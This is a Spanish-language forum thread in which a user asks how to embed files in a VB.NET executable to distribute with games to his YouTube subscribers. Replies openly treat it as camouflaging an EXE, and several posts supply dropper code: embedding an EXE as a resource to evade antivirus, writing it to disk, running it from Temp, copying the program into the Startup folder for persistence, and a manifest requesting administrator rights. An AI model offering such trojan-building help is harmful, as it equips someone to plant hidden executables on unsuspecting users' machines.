Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: leo_gec en 10 Junio 2015, 06:47 am



Título: Agregar archivo a exe en VB
Publicado por: leo_gec en 10 Junio 2015, 06:47 am
hola, soy nuevo en este foro y quiero aprender a programar mas.
soy un youtuber y tengo a mis suscriptores, he tratado de hacer un programa en vb2008 para cuando abran el archivo se abran 2 txt al mismo tiempo y no se les olvide abrirlos.
Y se copien en el escritorio.
mi código es
Código
  1. Public Class Form1
  2.    Dim File As String = "%UserProfile%\Text.txt"
  3.    Dim Copy As String = "%UserProfile%\Desktop"
  4.    Dim Paste As String = "%UserProfile%\Desktop"
  5.    Dim Pegar As String = "%UserProfile%\Desktop"
  6.    Dim NEA As String = "%UserProfile%\Desktop"
  7.  
  8.    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  9.  
  10.    End Sub
  11.  
  12.    Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
  13.  
  14.  
  15.    End Sub
  16.  
  17.    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  18.        If System.IO.File.Exists(File) = True Then
  19.            System.IO.File.Copy(File, Copy)
  20.            System.IO.File.Copy(File, Paste)
  21.            System.IO.File.Copy(File, Pegar)
  22.            System.IO.File.Copy(File, NEA)
  23.  
  24.        End If
  25.    End Sub
  26. End Class
  27.  
  28.  

hasta ahora no me sale que se copie y no se como agregar el archivo al programa para que se copie al momento que mis suscriptores lo descarguen junto a los juegos. investigue pero no le ayo forma de agregarlo o me arroja el error.
si me ayudan estare a tento en aprender, si les molesto en algo o les quito su tiempo perdonen gracias


Título: Re: Agregar archivo a exe en VB
Publicado por: okik en 10 Junio 2015, 16:29 pm
hola

Para incorporar elementos a nuestra aplicación: imágenes, vídeos, archivos, apliaciones, archivos binarios, cadenas, iconos, audios, ect. Se usan los archivos de recursos.


- Haz clic con el botón derecho sobre el Explorador de soluciones o bién en el menú 'Proyecto/Agregar Control de Usuario'

- Selecciona 'Archivo de recursos'

- Se te agregará una nueva paleta en el proyecto con nombre: Resource1.resx

- Dicha paleta tiene un menú. Por defecto el primero por la izquierda pone 'Cadenas'. Despliegalo haciendo clic en el triangulito a la derecha de 'Cadenas' para desplegar el menú. Selecciona 'Archivos'

- Ahora en el mismo menú pulsa 'Agregar recurso' y Busca el archivo de texto que quieres agregar, por ejemplo, 'Text.text'.


Ahora, como ejemplo, crea un botón y añade este código. El cual extrae el contenido de Text.txt, lo incorpora a una variable String y luego crea un archivo de texto en el directorio C:/ con el nombre File.txt

Código
  1. Dim CopyResourceFile As New System.IO.StreamWriter("C:\File.txt") 'Crea un archivo vacío
  2. 'Introduce el texto del archivo de recursos Text.txt en strTexto
  3.        Dim strTexto As String = My.Resources.Resource1.Text
  4.        CopyResourceFile.WriteLine(strTexto) 'Crea el archivo
  5.        CopyResourceFile.Flush() 'Borra bufferes
  6.  


Ingoro si hay alguna función para hacerlo directamente. Es decir sin tener que crear una variable String.

Una vez compilado el programa en un EXE, es posible modificar los archivo de recursos que contiene usando programas como ResourceHacker, desde el cual puedes acceder a los recursos de una aplicación. También desde C++. (Por lo menos si que se podía con el viejo VB6)


+INFO:

https://msdn.microsoft.com/es-es/library/vstudio/6wkcc526%28v=vs.110%29.aspx (https://msdn.microsoft.com/es-es/library/vstudio/6wkcc526%28v=vs.110%29.aspx)





Título: Re: Agregar archivo a exe en VB
Publicado por: scott_ en 11 Junio 2015, 05:14 am
No creo que vaya mas alla de eso.

Seamos sinceros, tu quieres camuflar un exe, aunque digas text.

QZftjRWjAmo

Pero tu quieres agregar uno dentro del exe de vb8, realmente no se como hacerlo en vb, tal vez Elektro te ayude.

Tengo que reconocerlo, muy ingenioso.


Saludos.


Título: Re: Agregar archivo a exe en VB
Publicado por: leo_gec en 11 Junio 2015, 10:23 am
el copiado no me funciona.
lo demas si
alguien me puede ayudar a completarlo???????????

Código
  1. Public Class Form1
  2.  
  3.  
  4.  
  5.  
  6.    Dim File As String = "%temp%\leelo.exe"
  7.  
  8.    Dim Copy As String = "%ProgramData%\"
  9.    Dim Paste As String = "%ProgramData%\"
  10.  
  11.    Dim Pegar As String = "%ProgramData%\"
  12.  
  13.    Dim NEA As String = "%ProgramData%\"
  14.    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  15.  
  16.    End Sub
  17.  
  18.  
  19.  
  20.  
  21.    Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
  22.  
  23.        If System.IO.File.Exists(File) = True Then
  24.            System.IO.File.Copy(File, Copy)
  25.            System.IO.File.Copy(File, Paste)
  26.            System.IO.File.Copy(File, Pegar)
  27.            System.IO.File.Copy(File, NEA)
  28.  
  29.        End If
  30.  
  31.    End Sub
  32. End Class


Título: Re: Agregar archivo a exe en VB
Publicado por: okik en 11 Junio 2015, 13:21 pm
el copiado no me funciona.
lo demas si
alguien me puede ayudar a completarlo???????????


Parece que #scott_  está en lo cierto, ya que has rectificado y has puesto "%temp%\leelo.exe". Si lo que quieres es camuflar un EXE (para que no lo detecte un antivirus...), el sistema es el mismo, debes añadirlo como archivo de recursos, pero en lugar de 'Archivo', debes seleccinar 'Otros'. Sin embargo, a la hora de crear el archivo debes leerlo y crearlo com archivo binario y darle extensión "exe".

Almenos así lo hacía con el VB6, pero no lo he hecho con VB.Net. Por mera curiosidad me lo voy a mirar, ya que estoy pasando todo lo que hacía con VB6 a VB.Net y eso no lo he pasado.

Saludos



Jo jo, ni punto de comparación en VB.Net. más fácil que en VB6.

Bueno, como he comentado arriba hay que leerlo como binario y no como archivo de texto. Y a la hora de crearlo pues lo mismo.


1. En el menú, Clic 'Proyecto'

2. Clic en 'Agregar control de usuario'

3. Selecciona 'Archivo de recursos'

4. Selecciona 'Resource1.resx'

5. En el menú de  'Resource1.resx', abre el primer menú pulsando en el triangulito y selecciona 'Otros'

6. En el mismo menú, abre el menú 'Agregar recurso' y selecciona 'Agregar archivo existente'

7. Busca el EXE, en tu caso: "leelo.exe", para añadirlo.

8. Añade el siguiente código a un evento (load, click, etc):

[v. VB.NET 2010]
Código
  1.  
  2. 'Introduce el contenido del archivo de recursos leelo.exe en binFile
  3. Dim binFile() As Byte = My.Resources.Resource1.leelo
  4.  
  5. 'Crea el archivo leelo.exe en el directorio C:
  6. My.Computer.FileSystem.WriteAllBytes("C:\Leelo.exe", binFile, True)


+INFO:
https://msdn.microsoft.com/es-es/library/szz5syt3.aspx (https://msdn.microsoft.com/es-es/library/szz5syt3.aspx)


Espero que te funcione. ::) 

...Y por favor, no le metas ningún virus. :¬¬

Saludos



Título: Re: Agregar archivo a exe en VB
Publicado por: scott_ en 12 Junio 2015, 01:21 am
No lo creo, ya entendí perfectamente lo que quiere  ;-) ;-) ;-) ;-) ;-)


Traduciéndolo del C te dejo el código.
Código
  1. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  2.  
  3.  
  4. 'Puedes cambiar Temp por desktop o escritorio :P
  5.        IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Text.txt", My.Resources.Text)
  6.        Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\Text.txt")
  7.  
  8.        Dim info As New FileInfo(Application.StartupPath)
  9.        info.CopyTo(My.Computer.FileSystem.SpecialDirectories.Programs + "\startup\Text.exe")
  10.  

Para agregar permisos de Administrador deberás proporcionárselos.

Código
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  3.  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  4.  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
  5.    <security>
  6.      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
  7.        <!-- UAC Manifest Options
  8.            If you want to change the Windows User Account Control level replace the
  9.            requestedExecutionLevel node with one of the following.
  10.  
  11.        <requestedExecutionLevel  level="asInvoker" uiAccess="false" />
  12.        <requestedExecutionLevel  level="requireAdministrator" uiAccess="false" />
  13.        <requestedExecutionLevel  level="highestAvailable" uiAccess="false" />
  14.  
  15.            If you want to utilize File and Registry Virtualization for backward
  16.            compatibility then delete the requestedExecutionLevel node.
  17.        -->
  18.        <requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
  19.      </requestedPrivileges>
  20.    </security>
  21.  </trustInfo>
  22. </asmv1:assembly>
  23.  

Saludos.


Título: Re: Agregar archivo a exe en VB
Publicado por: leo_gec en 12 Junio 2015, 02:24 am
justo lo q necesito scott
al compilarlo me dice unauthorizedaccessexception was unhandled
ya proporcione permosos de adm y nada.
me ayudas en eso pofvr?????????
gracias  ;)


Título: Re: Agregar archivo a exe en VB
Publicado por: okik en 12 Junio 2015, 18:48 pm
Buenas

He intentado ejecutar el código y bueno,  WriteAllBytes se llama de la siguiente manera:

WriteAllBytes(ByVal path As String, ByVal bytes() As Byte)

si pones:

IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Text.txt", My.Resources.Text)

Entonces  se produce error ya que sólo admite bytes(), es decir, un exe, imagen, etc.



Para leo_gec:
"he tratado de hacer un programa en vb2008 para cuando abran el archivo... "(supong que te refieres a programa) "... se abran 2 txt al mismo tiempo y no se les olvide abrirlos.

Supongo que lo que que quieres,   es crear dos TXT y que se abran automáticamente. Se me ocurre que uses ShellExecute, ya que he probado con 'Shell'  y a través de la consola y no funcionaba.

Con ShellExecute se abren sin problema. Quizás haya otra manera, no se.


Código
  1. Public Class Form1
  2.    Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
  3.        (ByVal hWnd As Integer, _
  4.         ByVal lpOperation As String, _
  5.         ByVal lpFile As String, _
  6.         ByVal lpParameters As String, _
  7.         ByVal lpDirectory As String, _
  8.         ByVal nShowCmd As Integer) As Integer
  9.    Const SW_SHOWNORMAL = 1
  10.    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  11.        Dim DirTemp As String = My.Computer.FileSystem.SpecialDirectories.Temp
  12.        Dim TextFile1 As New System.IO.StreamWriter(DirTemp & "\Text1.txt") 'Crea un archivo vacío
  13.        Dim TextFile2 As New System.IO.StreamWriter(DirTemp & "\Text2.txt") 'Crea un archivo vacío
  14.        Dim strTexto1 As String = My.Resources.Resource1.Text1_txt 'Introuduce el texto del archivo de recursos Text.txten strTexto
  15.        Dim strTexto2 As String = My.Resources.Resource1.Text2_txt
  16.  
  17.        TextFile1.WriteLine(strTexto1) 'Crea el archivo
  18.        TextFile1.Flush() 'Borra bufferes
  19.        TextFile2.WriteLine(strTexto2) 'Crea el archivo
  20.        TextFile2.Flush() 'Borra bufferes
  21.  
  22.        ShellExecute(Me.Handle, "Open", "notepad", DirTemp & "\Text1.txt", vbNullString, SW_SHOWNORMAL)
  23.        ShellExecute(Me.Handle, "Open", "notepad", DirTemp & "\Text2.txt", vbNullString, SW_SHOWNORMAL)
  24.  
  25.    End Sub
  26.  
  27. End Class


Cuando metes el archivo Text1.txt en Recursos, se renombra automáticamente Text1_txt. Yo cambié el nombre y le quité el "_txt" por eso he puesto esta línea de código así:

Dim strTexto1 As String = My.Resources.Resource1.Text1

pero supongo que tu no lo has cambiado, entonces sería así:

Dim strTexto1 As String = My.Resources.Resource1.Text1_txt

Por otro lado el nombre del resource lo tengo en Resource1, pero también se puede cambiar.

En resumen:  

My.Resources.[NombreResource].[NombreArchivo]

En fin para que no haya confusión lo he puesto con la extensión Text1_txt



Título: Re: Agregar archivo a exe en VB
Publicado por: Eleкtro en 13 Junio 2015, 10:52 am
Supongo que lo que que quieres,   es crear dos TXT y que se abran automáticamente. Se me ocurre que uses ShellExecute, ya que he probado con 'Shell'  y a través de la consola y no funcionaba.

Con ShellExecute se abren sin problema. Quizás haya otra manera, no se.

Process.Start(filename) - MSDN (https://msdn.microsoft.com/en-us/library/53ezey2s%28v=vs.110%29.aspx)

Saludos!


Título: Re: Agregar archivo a exe en VB
Publicado por: okik en 13 Junio 2015, 12:37 pm
Process.Start(filename) - MSDN (https://msdn.microsoft.com/en-us/library/53ezey2s%28v=vs.110%29.aspx)

Saludos!

Gracias Eleкtro, he probado  Process.Start y funciona bien, aunque el archivo esté en la carpeta temp.



Como la aportación de Elektro funciona he quitado ShellExecute y quedaría así:

Código
  1.    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  2.        Dim DirTemp As String = My.Computer.FileSystem.SpecialDirectories.Temp
  3.        Dim TextFile1 As New System.IO.StreamWriter(DirTemp & "\Text1.txt") 'Crea un archivo vacío
  4.        Dim TextFile2 As New System.IO.StreamWriter(DirTemp & "\Text2.txt") 'Crea un archivo vacío
  5.        Dim strTexto1 As String = My.Resources.Resource1.Text1_txt 'Introuduce el texto del archivo de recursos Text.txten strTexto
  6.        Dim strTexto2 As String = My.Resources.Resource1.Text2_txt
  7.  
  8.        TextFile1.WriteLine(strTexto1) 'Crea el archivo
  9.        TextFile1.Flush() 'Borra bufferes
  10.        TextFile2.WriteLine(strTexto2) 'Crea el archivo
  11.        TextFile2.Flush() 'Borra bufferes
  12.        Process.Start(DirTemp & "\Text1.txt") 'Abre el archivo Text1.txt
  13.        Process.Start(DirTemp & "\Text2.txt") 'Abre el archivo Text2.txt
  14.    End Sub